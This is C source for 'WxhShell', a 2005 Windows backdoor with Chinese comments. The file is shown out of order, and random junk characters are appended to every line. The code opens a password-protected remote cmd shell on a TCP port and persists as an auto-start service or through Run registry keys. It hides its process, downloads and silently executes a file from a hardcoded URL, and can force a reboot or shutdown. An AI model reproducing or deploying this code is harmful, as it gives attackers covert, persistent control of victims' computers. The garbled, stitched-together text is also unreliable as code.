    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=ox;r  
    else { nsaf6y&E  
    closesocket(wsh); qWy{{ A+  
    ExitThread(0); CDO _A\  
    } MV e5j+8  
    break; IhJ _Yed  
    } C' o4Su#  
  // 获取shell 3Nsb@0  
  case 's': { Ni(D[?mZ  
    CmdShell(wsh); K}1>n2P  
    closesocket(wsh); tPDV"Md#m<  
    ExitThread(0); !Z<GUbl t  
    break; svU107?  
  } +O*S>0  
  // 退出 i5(_.1X<#{  
  case 'x': { t8U)za  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TEE$1RxV(  
    CloseIt(wsh); E"x 2jP  
    break; ;TEZD70r  
    } * ,_Qdr^F  
  // 离开 nx $?wxIm  
  case 'q': { X. UN=lu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4_F<jx,G  
    closesocket(wsh); bqS*WgMY-  
    WSACleanup(); /:z}WAW  
    exit(1);  sFx $  
    break;  h%E25in  
        } ' f}^/`J  
  } yV$p(+KkS  
  } qusgX;)  
BaR9X ?~O$  
  // 提示信息 ,Uc\ Ajx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q~;P^i<Y  
} k#5S'sCF<  
  } Rdwr?:y(]  
&rq7;X  
  return; r&o%n5B  
} OJbY\U  
;k (}~_  
// shell模块句柄 t1n'Ecm(  
int CmdShell(SOCKET sock) $B2* x$  
{ GNZQj8  
STARTUPINFO si; IE|x+RBD  
ZeroMemory(&si,sizeof(si)); ^NHQ[4I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q'7o_[o/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .J&NM(qeZ  
PROCESS_INFORMATION ProcessInfo; 6 !+xf  
char cmdline[]="cmd"; P`-(08t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P7 (&*=V  
  return 0; zblh_6  
} \7$m[h {l  
]m=* =LLC  
// 自身启动模式 R)nhgp(~  
int StartFromService(void) Mf%/t HK  
{ /fBZRdB  
typedef struct wI#rAx7f-  
{ @wl80v  
  DWORD ExitStatus; +M-' K19  
  DWORD PebBaseAddress; +ulX(u(,  
  DWORD AffinityMask; IN , @  
  DWORD BasePriority; X.j#??  
  ULONG UniqueProcessId; zc*qmb  
  ULONG InheritedFromUniqueProcessId; 0aQNdi)b  
}   PROCESS_BASIC_INFORMATION; a_x$I? ,  
I]~xs0$4#  
PROCNTQSIP NtQueryInformationProcess; rv9qF |2r{  
sOz jViv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "h2;65@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Ck?O/^  
dK|MQ <  
  HANDLE             hProcess; [0m'a\YE9  
  PROCESS_BASIC_INFORMATION pbi; o:f=dBmoX  
h'MX{Wm.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }1:jM_H)k  
  if(NULL == hInst ) return 0; }x~|XbG  
o! sxfJKl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rYJt;/RtR}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jcXb@FE6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L7X._XBO[  
TcauCL  
  if (!NtQueryInformationProcess) return 0; Af5In9WB5  
A!Xn^U*p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y;;^o6Gnw  
  if(!hProcess) return 0; !xj>~7  
ZH0 ~:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?mG ?N(t/h  
i*.Z~$  
  CloseHandle(hProcess); LL9I:^  
{Y` 0}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rya4sxCh  
if(hProcess==NULL) return 0; s^L\hr  
6;*tw i  
HMODULE hMod; @#*B|lHE  
char procName[255]; B&-;w_K  
unsigned long cbNeeded; $v-lG(  
&fiDmUxj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4y>G6TD^  
'9$xOrv  
  CloseHandle(hProcess); wUh'1D<(r  
|Ro\2uSr  
if(strstr(procName,"services")) return 1; // 以服务启动 ;6fkG/T  
SY>N-fW\H:  
  return 0; // 注册表启动 `S;pn+5  
}  4>0xS -  
57K1e~^  
// 主模块 CSt6}_c!  
int StartWxhshell(LPSTR lpCmdLine) h,TDNR<1L  
{ |PI.xl:ch  
  SOCKET wsl; +:/`&LOS-  
BOOL val=TRUE; ~qFi0<-M  
  int port=0; <ywxz1i  
  struct sockaddr_in door; ~uzu*7U  
d<`Z{"g NS  
  if(wscfg.ws_autoins) Install(); {3_M&$jN  
@zsr.d6Q  
port=atoi(lpCmdLine); #/\FB'zC  
x*Z"~'DI  
if(port<=0) port=wscfg.ws_port; luat1#~J  
BIw9@.99B-  
  WSADATA data; ^~=o?VtBg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `.L8<-]W  
Ev*HH+:b>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N<$ uAns  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UCvMW*gs  
  door.sin_family = AF_INET; wQPjo!FEX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z~T- *1V  
  door.sin_port = htons(port); :S~XE  
@HIC i]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N@tzYD|hA  
closesocket(wsl); /vsQ <t;~  
return 1; #FTXy>W  
} M={k4r_t  
<:RU,  
  if(listen(wsl,2) == INVALID_SOCKET) { NFmB ^@k  
closesocket(wsl); TQID-I  
return 1; `A&64D  
} XImb"7|  
  Wxhshell(wsl); xQWZk`6~L  
  WSACleanup(); `4\H'p  
zLf^O%zN  
return 0; oE-i`;\8  
9FcCq*D  
} ,lL0'$k~  
%S$P+B?  
// 以NT服务方式启动 /SlCcozFL~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IF5+&O  
{ {^MR^4&}(  
DWORD   status = 0; Rjm5{aa-  
  DWORD   specificError = 0xfffffff; ',J3^h!b  
PuUqWW'^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;<ed1%Le,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oVc_ (NH-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L.+5`&  
  serviceStatus.dwWin32ExitCode     = 0; K V  4>(  
  serviceStatus.dwServiceSpecificExitCode = 0; ro^Y$;G  
  serviceStatus.dwCheckPoint       = 0; bG2 !5m4L  
  serviceStatus.dwWaitHint       = 0; 7v%~^l7:x  
~q-|cl<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W9a H]9b  
  if (hServiceStatusHandle==0) return; &W".fRH_O  
TO3Yz3+A  
status = GetLastError(); U{i9h6b"18  
  if (status!=NO_ERROR) {U-VInu  
{ G^)|c<'M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /+02 BP  
    serviceStatus.dwCheckPoint       = 0; Q8z>0ci3o  
    serviceStatus.dwWaitHint       = 0; mQo]k  
    serviceStatus.dwWin32ExitCode     = status; H^'*F->BA  
    serviceStatus.dwServiceSpecificExitCode = specificError; a&PoUwG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Ozb+W?  
    return; L7a+ #mGE  
  } H'Z[3e  
O yj!N`&z@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2\EMtR>.M'  
  serviceStatus.dwCheckPoint       = 0; |iO2,99i  
  serviceStatus.dwWaitHint       = 0; 8M(N   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0~an\4nh  
} (_U&EX%  
N @]*E  
// 处理NT服务事件,比如:启动、停止 lyv9eM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <(s+  
{ s{< rc>  
switch(fdwControl) MEq ()}7P  
{  BX+-KvT  
case SERVICE_CONTROL_STOP: {PYN3\N,  
  serviceStatus.dwWin32ExitCode = 0; 64b9.5Bn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J^0co1Y0  
  serviceStatus.dwCheckPoint   = 0; vP88%I;  
  serviceStatus.dwWaitHint     = 0; 2 B5kpmH:  
  { @f{)]I +f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [4t_ 83  
  } f[h=>O  
  return; ke)3*.Y%C  
case SERVICE_CONTROL_PAUSE: "o=h /q5&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %"+FN2nbm  
  break; MJ &6 Z*  
case SERVICE_CONTROL_CONTINUE: D@O '8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +w GE  
  break; TtKBok  
case SERVICE_CONTROL_INTERROGATE: vEn12s(lj  
  break;  {l_R0  
}; So0YvhZ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r{6 ,;  
} kpK: @  
8oN4!#:  
// 标准应用程序主函数 AVyo)=&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ROQk^  
{ $ZwsTV]x  
stoBjDS  
// 获取操作系统版本 KC8A22  
OsIsNt=GetOsVer(); L=zeFn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uR@\/6!@  
tty 6  
  // 从命令行安装 m!E36ce}  
  if(strpbrk(lpCmdLine,"iI")) Install(); #r:J,D6*  
(VwS 9:`  
  // 下载执行文件 /EKfL\3  
if(wscfg.ws_downexe) { Dzc 4J66  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~''qd\.f$  
  WinExec(wscfg.ws_filenam,SW_HIDE); r")=Z1y  
} VaSw}q/o:/  
o"QpV >x  
if(!OsIsNt) { ^ /:]HG  
// 如果时win9x,隐藏进程并且设置为注册表启动 8>Ervi`  
HideProc(); v%86JUlK.  
StartWxhshell(lpCmdLine); +z("'Cv  
} P,D >gxl  
else r`wL_>"{n  
  if(StartFromService()) 5\EHu8  
  // 以服务方式启动 'HW(RC0dR  
  StartServiceCtrlDispatcher(DispatchTable); e`#Gq0}8  
else nV"[WngN  
  // 普通方式启动 5 BcuLRId:  
  StartWxhshell(lpCmdLine); fIWQ+E  
p*NC nD*  
return 0; *.voN[$~  
} q`9~F4\  
-+Quw2465^  
}u:^Mz  
dpE\eXoa,  
=========================================== {&w%3  
}wj*^>*  
"Z}0A/y  
#;}IHAR  
V/>SjUNq  
v`x~O+  
" ^D oJ='&  
BFj@Z'7P  
#include <stdio.h> Yg2z=&p-{"  
#include <string.h> .B#Lt,m  
#include <windows.h> "%A[%7LY  
#include <winsock2.h> :M|bw{P*  
#include <winsvc.h> ,FS iE\  
#include <urlmon.h> .$v]B xu  
UkXc7D^jwm  
#pragma comment (lib, "Ws2_32.lib") ><`.(Z5c  
#pragma comment (lib, "urlmon.lib") N]+x@M @^3  
#Yj0'bgK  
#define MAX_USER   100 // 最大客户端连接数 %z8@;  
#define BUF_SOCK   200 // sock buffer =p&6A^  
#define KEY_BUFF   255 // 输入 buffer Er{[83  
o)S>x0| [  
#define REBOOT     0   // 重启 $V`O%Sz  
#define SHUTDOWN   1   // 关机 Ldir'FW  
?xUz{O0/  
#define DEF_PORT   5000 // 监听端口 .7E-  
>{Lfrc1  
#define REG_LEN     16   // 注册表键长度 #J^p,6  
#define SVC_LEN     80   // NT服务名长度 ;M4N=G Wd4  
y^M'&@F  
// 从dll定义API Y5ebpw+B-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pok,`yW\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *;"^b\f5_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K"-N:OV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v6f$N+4c  
iF61J% 3-  
// wxhshell配置信息 ,ISq7*%F  
struct WSCFG { B;1wnKdj  
  int ws_port;         // 监听端口 L[TL~@T   
  char ws_passstr[REG_LEN]; // 口令 f()^^+  
  int ws_autoins;       // 安装标记, 1=yes 0=no d5^ipu  
  char ws_regname[REG_LEN]; // 注册表键名 =7Tbu'O;  
  char ws_svcname[REG_LEN]; // 服务名 dVe3h.,[v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K7e<hdP_#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %q ja:'k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u!L8Sv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Cf^Q3)5o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kau*e8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;;l(  
 ] mP-HFl  
}; :VLuI  
)](8 {}wo  
// default Wxhshell configuration >(%im :_  
struct WSCFG wscfg={DEF_PORT, \ 0<e#0-V  
    "xuhuanlingzhe", $8_*LR$  
    1, dF1Bo  
    "Wxhshell", 5l(;+#3y/  
    "Wxhshell", OtQKDpJq  
            "WxhShell Service", *'exvY~  
    "Wrsky Windows CmdShell Service", G ROl9xp2  
    "Please Input Your Password: ", b[RBp0]x  
  1, ch : 428  
  "http://www.wrsky.com/wxhshell.exe", %@pTEhpF  
  "Wxhshell.exe" g08=D$P  
    }; eTrGFe!8w  
J>Zd75;U  
// 消息定义模块 Y71b Lg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J anLJe)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cs@5K$v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BA t2m-  
char *msg_ws_ext="\n\rExit."; VT'$lB%IK  
char *msg_ws_end="\n\rQuit."; D4o?  
char *msg_ws_boot="\n\rReboot..."; K=06I  
char *msg_ws_poff="\n\rShutdown..."; Y6{p|F?&"  
char *msg_ws_down="\n\rSave to "; jh8%Xu]t  
Eda sGCo  
char *msg_ws_err="\n\rErr!"; Saz+GQ G  
char *msg_ws_ok="\n\rOK!"; % qAhE TZ%  
_f34p:B%s  
char ExeFile[MAX_PATH]; !+fHdB  
int nUser = 0; eh)J'G]G  
HANDLE handles[MAX_USER]; ,&)XhO?  
int OsIsNt; = b)q.2'#  
U*a!Gn7l  
SERVICE_STATUS       serviceStatus; ={feN L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k5}i^^.  
dc lJ  
// 函数声明 #+_Oy Z*  
int Install(void); vZ|-VvG  
int Uninstall(void); I;mtyS  
int DownloadFile(char *sURL, SOCKET wsh); z': >nw  
int Boot(int flag); 162qxR[.  
void HideProc(void); 8q tNK> D  
int GetOsVer(void); KJ pM?:  
int Wxhshell(SOCKET wsl); dYr#  
void TalkWithClient(void *cs); !' sDqBZ&7  
int CmdShell(SOCKET sock); -@J;FjrXmP  
int StartFromService(void); c[",WB<9  
int StartWxhshell(LPSTR lpCmdLine); cUy6/x9&  
Yn I   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); da[l[b;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sDbALAp +  
_0vXujz  
// 数据结构和表定义 Hs-NP#I  
SERVICE_TABLE_ENTRY DispatchTable[] = ]L_HnmD6  
{ K"=v| a.  
{wscfg.ws_svcname, NTServiceMain}, d[S C1J  
{NULL, NULL} 8Q6il-  
}; S2fw"1h*x  
)Ba^Igb}  
// 自我安装 /!%P7F  
int Install(void) MGmtA(  
{ c~C :"g.y  
  char svExeFile[MAX_PATH]; vDBnWA  
  HKEY key; ~*2PmD"+:  
  strcpy(svExeFile,ExeFile); }.T$bj1B;V  
,;D74h2F  
// 如果是win9x系统,修改注册表设为自启动 T-5T`awf  
if(!OsIsNt) { >StvP=our  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1eb1Lvn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =,0E3:X^  
  RegCloseKey(key); q_oYI3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ap97Zcw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fzo$Bq  
  RegCloseKey(key); w=^*)jZ8  
  return 0; |]m&LC  
    } ( bBetX  
  } 01w=;Q  
}  &`@Jy|N\  
else { }"cb^3  
a .] !  
// 如果是NT以上系统,安装为系统服务 Z;n}*^U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O-&n5  
if (schSCManager!=0) pP".?|n  
{ `*N0 Lbl]  
  SC_HANDLE schService = CreateService m,.d< **  
  ( '2.F-~  
  schSCManager, CMF1<A4]  
  wscfg.ws_svcname, r/{VL3}F_e  
  wscfg.ws_svcdisp, )8Q|y  
  SERVICE_ALL_ACCESS, .upcUS8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X He=  
  SERVICE_AUTO_START, `__CL )N|  
  SERVICE_ERROR_NORMAL, ?Z14l0iZ%d  
  svExeFile, ucA6s:!={  
  NULL, 1C|j<w=i  
  NULL, ]1Q\wsB  
  NULL, 3cfkJ|fuwe  
  NULL, O%+:fJz6wI  
  NULL m&$H ?yXW>  
  ); Z-vzq;  
  if (schService!=0) ,,G0}N@7s  
  { |]`+@K,S  
  CloseServiceHandle(schService); {fGi:b\[ 8  
  CloseServiceHandle(schSCManager); R=9j+74U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jl9T[QAJn1  
  strcat(svExeFile,wscfg.ws_svcname); zJx<]=]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -l,ib=ne  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,-{j.  
  RegCloseKey(key); u_ Q3v9  
  return 0; >2v_fw  
    } [I^SKvM  
  } Vy5Q+gw  
  CloseServiceHandle(schSCManager); ~w$8*2D  
} m _]"L  
} z5i!GJB  
YobIbpo  
return 1; 5jsnE )  
} Gu%`__   
=ecv;uu2  
// 自我卸载 _zpn+XVdQ  
int Uninstall(void) o 86}NqK  
{ kv'n W  
  HKEY key; {Qhv HV  
D!X{9q}S1  
if(!OsIsNt) { -iW[cj R`$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wLgRI$ _Dm  
  RegDeleteValue(key,wscfg.ws_regname); EG1SIEo  
  RegCloseKey(key); g^]Q*EBa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UIu'x_qc  
  RegDeleteValue(key,wscfg.ws_regname); klx4Mvq+/@  
  RegCloseKey(key); "?N`9J|j)~  
  return 0; @lj  
  } |RpC0I  
} Ia(A&Za  
} $h$+EE!  
else { (te \!$  
%WO;WxG8^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xw=B4u'z  
if (schSCManager!=0) A2+t`[ w  
{ d?S<h`{x   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r[?rwc^  
  if (schService!=0) %`}Qkb/Lyh  
  { wIY#TBu  
  if(DeleteService(schService)!=0) { !W3Le$aL  
  CloseServiceHandle(schService); oF*Y$OEu?c  
  CloseServiceHandle(schSCManager); fqr}tvMr=T  
  return 0; cw^FOV*  
  } 0<s)xaN>Y  
  CloseServiceHandle(schService); [t6)M~&e:_  
  } wo_FM `@  
  CloseServiceHandle(schSCManager); a;h:o>Do5  
} sF|$oyDE  
}  Cn_Mz#Z  
|C(72t?K  
return 1; "qDEI}  
} .&[nS<~`  
L?Lp``%bI7  
// 从指定url下载文件 M P3E]T~:  
int DownloadFile(char *sURL, SOCKET wsh) JTb<uC  
{ @lJGdp  
  HRESULT hr; oZ8SEC "]  
char seps[]= "/"; =9)ypI-2  
char *token; =* (d+[_  
char *file; xQD#; 7  
char myURL[MAX_PATH]; 2dq{n.cgs  
char myFILE[MAX_PATH]; JRo{z{!O6  
pH*L8tT  
strcpy(myURL,sURL); O{dx+f  
  token=strtok(myURL,seps); 2N]y)S_<V  
  while(token!=NULL) Ny~;"n  
  { TQEZ<B$  
    file=token; M.128J+xfS  
  token=strtok(NULL,seps); -S|L+">=Z  
  } ,{oANqP  
`#(4K4]1.  
GetCurrentDirectory(MAX_PATH,myFILE); |MRxm"]A   
strcat(myFILE, "\\"); JZ<O-G+  
strcat(myFILE, file); @vv`86bm  
  send(wsh,myFILE,strlen(myFILE),0); UtWoSFZ'o!  
send(wsh,"...",3,0); -meKaQv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GV2}K <s  
  if(hr==S_OK) q&N&n%rbm  
return 0; x7*}4>|W,I  
else 3!}#@<j  
return 1; i$F)h<OU+  
$6J5yE  
} '2 )d9_ w  
k\%{1oRA  
// 系统电源模块 >?DrC/  
int Boot(int flag) NKMB,b  
{ wHY;Y-(ZT  
  HANDLE hToken; e)iVX<qb  
  TOKEN_PRIVILEGES tkp; u.arkp  
OC [a?#R1  
  if(OsIsNt) { W35nnBU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gr7W&2x7\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y#Z&$&n  
    tkp.PrivilegeCount = 1; d5i /:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i'57|;?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F^w0TD8  
if(flag==REBOOT) { Z2`e*c-[E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MJD4#G  
  return 0; NH?s  
} :Ert57@l  
else { ~f@;.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {<_}[} XY  
  return 0; I{2e0  
} zJV4)  
  } ~<$8i}7  
  else { G)putk@   
if(flag==REBOOT) { r&H>JCRZ<=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^]v}AEcmW  
  return 0; 8^~ljf]6  
} l >O]Cpt  
else { "w A8J%:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IGp-`%9  
  return 0; cg$~.ytPK  
} C {'c_wX  
}  q)%C|  
/TB_4{  
return 1; 6^wiEnA  
} C :e 'wmA  
2z-&Ya Qu  
// win9x进程隐藏模块 YGNX+6Lz  
void HideProc(void) zxj!ihs<  
{ &,#VhT![  
P "%/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [oYe/<3  
  if ( hKernel != NULL ) \myj Y  
  { P EbB0GL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  KL|B| u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sX=!o})0  
    FreeLibrary(hKernel); CtE".UlCA  
  } YZnrGkQ  
Vk-_v5  
return; rkzhN59;  
} yRy9*r=  
In 1.R$O  
// 获取操作系统版本 ~fgv7=(!  
int GetOsVer(void) ~#-`Qh  
{ "zv+|_ZAfd  
  OSVERSIONINFO winfo; $]hf2Yr(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ))MP]j9 T  
  GetVersionEx(&winfo); BY 1~\M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NyGF57v[M  
  return 1; bLUn0)c  
  else hMDyE.X-  
  return 0; D_8hn3FH  
} Jv7M[SJ#x  
9 np<r82  
// 客户端句柄模块 W]R5\ G*  
int Wxhshell(SOCKET wsl) gG $o8c-  
{ R vY`9D  
  SOCKET wsh; q2SkkY$_]y  
  struct sockaddr_in client; hqE#BnQxP,  
  DWORD myID; A 7sej  
E dU3k'z$  
  while(nUser<MAX_USER) 6Qo6 T][  
{ N* z<VZ  
  int nSize=sizeof(client); "=RB #  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p3Gj=G  
  if(wsh==INVALID_SOCKET) return 1; L,:U _\HQ  
*yJb4uALB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gVuN a)  
if(handles[nUser]==0) =CJs&Qa2  
  closesocket(wsh); |, :(3Ml  
else Dp'/uCW)  
  nUser++; 1k hwwoo  
  } t?{ B*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x^;n fqn|  
JD>!3>S)?  
  return 0; |W::\yu6  
} 2L\h+)  
Oc8+an1m  
// 关闭 socket ?W|POk}  
void CloseIt(SOCKET wsh) 1ri#hm0x\  
{ &iSQ2a!l8b  
closesocket(wsh); Wd%j;glG  
nUser--; h&Sl8$jVp  
ExitThread(0); >LNl8X:Cz*  
} bb<Vh2b>R  
T<ua0;7  
// 客户端请求句柄 y"]> Rr  
void TalkWithClient(void *cs) U%#=d@?  
{ Z uE 0'9  
2ru6 bIb;  
  SOCKET wsh=(SOCKET)cs; Ex Qld  
  char pwd[SVC_LEN]; c.XLEjV|  
  char cmd[KEY_BUFF]; @e slF  
char chr[1]; s}A]lY  
int i,j; ]~oM'?&!  
Rp|:$5&nE  
  while (nUser < MAX_USER) { <6`,)(dj  
?@u &3/&  
if(wscfg.ws_passstr) { !]`]67lC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 tzn% ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O8lOr(|l  
  //ZeroMemory(pwd,KEY_BUFF); SrKF\h%/+  
      i=0; 6z(_^CY  
  while(i<SVC_LEN) { \jfW$TtZm  
jXdn4m/O  
  // 设置超时 E8503  
  fd_set FdRead;  aCTVY1  
  struct timeval TimeOut; $~2A o[  
  FD_ZERO(&FdRead); E>[~"~x"pV  
  FD_SET(wsh,&FdRead); ~C[,P\,  
  TimeOut.tv_sec=8; _,'UP>Si  
  TimeOut.tv_usec=0; l==T3u r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7z$+ *]9-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EuAa  
g5?Fo%W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u|Ai<2b$  
  pwd=chr[0]; }%}eyLm(  
  if(chr[0]==0xd || chr[0]==0xa) { MRa>@Jn??A  
  pwd=0; x 1 _(j  
  break;  Wi|.Z/  
  } b!N`@m=  
  i++; 6yR7RF}  
    } HgMDw/D(  
VP"L _Um  
  // 如果是非法用户,关闭 socket 7j]@3D9[:p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {k)MC)%  
} cEN^H  
Z]6D0b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oDRNM^gz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kn<[v;+  
~jPe9  
while(1) { =*'` \}];"  
M\GS&K$lq  
  ZeroMemory(cmd,KEY_BUFF); $pD^O!I)?  
H@6  
      // 自动支持客户端 telnet标准   eD/?$@y  
  j=0; EEaFi 8  
  while(j<KEY_BUFF) { }{ P}P}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rw7Q[I5z%  
  cmd[j]=chr[0]; +uH1rF_&@  
  if(chr[0]==0xa || chr[0]==0xd) { H<>x_}&  
  cmd[j]=0; ZE1#{u~[y  
  break; 2{%BQq>C  
  } 3sL#_@+yz  
  j++; [~;9Mi.XL  
    } U@*z#T#"m  
-@QLE}~k[  
  // 下载文件 ^WRr "3  
  if(strstr(cmd,"http://")) { c2y5[L7?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4v{gc/g  
  if(DownloadFile(cmd,wsh)) c1Hv^*Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ClEtw   
  else Io:xG6yG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #A|M NJ%m  
  } Coyop#q#"{  
  else { ZA# jw 8F  
 R` N-^x  
    switch(cmd[0]) { 18`?t_8g  
  E0*81PS  
  // 帮助 *AJW8tIP  
  case '?': { Kg%_e9nj#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >yaz  
